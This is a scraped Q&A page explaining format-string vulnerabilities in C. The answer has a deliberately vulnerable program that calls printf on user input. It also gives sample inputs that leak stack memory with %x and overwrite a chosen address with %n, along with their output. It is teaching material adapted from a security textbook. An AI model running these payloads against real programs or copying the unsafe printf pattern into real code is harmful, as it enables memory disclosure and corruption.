Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6583739
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 25, 20262026-05-25T16:26:54+00:00 2026-05-25T16:26:54+00:00

I was reading about vulnerabilities in code and came across this Format-String Vulnerability .

  • 0

I was reading about vulnerabilities in code and came across this Format-String Vulnerability.

Wikipedia says:

Format string bugs most commonly appear when a programmer wishes to
print a string containing user supplied data. The programmer may
mistakenly write printf(buffer) instead of printf(“%s”, buffer). The
first version interprets buffer as a format string, and parses any
formatting instructions it may contain. The second version simply
prints a string to the screen, as the programmer intended.

I got the problem with printf(buffer) version, but I still didn’t get how this vulnerability can be used by attacker to execute harmful code. Can someone please tell me how this vulnerability can be exploited by an example?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-25T16:26:55+00:00Added an answer on May 25, 2026 at 4:26 pm

    You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let’s use the following as an example (assuming no relevant OS protections, which is very rare anyways):

    int main(int argc, char **argv)
    {
        char text[1024];
        static int some_value = -72;
    
        strcpy(text, argv[1]); /* ignore the buffer overflow here */
    
        printf("This is how you print correctly:\n");
        printf("%s", text);
        printf("This is how not to print:\n");
        printf(text);
    
        printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
        return(0);
    }
    

    The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


    Reading from arbitrary memory addresses

    [EDIT] IMPORTANT: I’m making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

    It’s possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

    ./vulnerable AAAA%08x.%08x.%08x.%08x
    This is how you print correctly:
    AAAA%08x.%08x.%08x.%08x
    This is how not to print:
    AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
    some_value @ 0x08049794 = -72 [0xffffffb8]
    

    Writing to arbitrary memory addresses

    You can use the %n format specifier to write to an arbitrary address (almost). Again, let’s assume our vulnerable program above, and let’s try changing the value of some_value, which is located at 0x08049794, as seen above:

    ./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
    This is how you print correctly:
    ??%08x.%08x.%08x.%n
    This is how not to print:
    ??XXXXXXXX.XXXXXXXX.XXXXXXXX.
    some_value @ 0x08049794 = 31 [0x0000001f]
    

    We’ve overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

    ./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
    This is how you print correctly:
    ??%x%x%x%n
    This is how not to print:
    ??XXXXXXXXXXXXXXXXXXXXXXXX
    some_value @ 0x08049794 = 21 [0x00000015]
    

    There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


    Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Reading about Http Post on Wikipedia it states that This is a format for
While reading about shell scripts and temporary file handling, I came across Symlink Exploits.
Reading about the G.729 codec , I found this interesting tidbit about Comfort Noise
Reading about Kohana templates and saw something I've never seen before: $this->template->title = __('Welcome
Reading about Django, I saw this: http://docs.djangoproject.com/en/1.1/ref/contrib/admin/#ref-contrib-admin - the fancy simple to use admin
While reading about exception, I will always come across checked exceptions and unchecked exceptions,
After reading about the problem of passing empty std::string objects between DLLs and EXEs,
I am reading about COFF file formats, which is commonly used to create an
After reading about both, I just have curiosity, how programming community uses this? In
When reading about SQL I've come across the term 'slot'. For example, in a

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.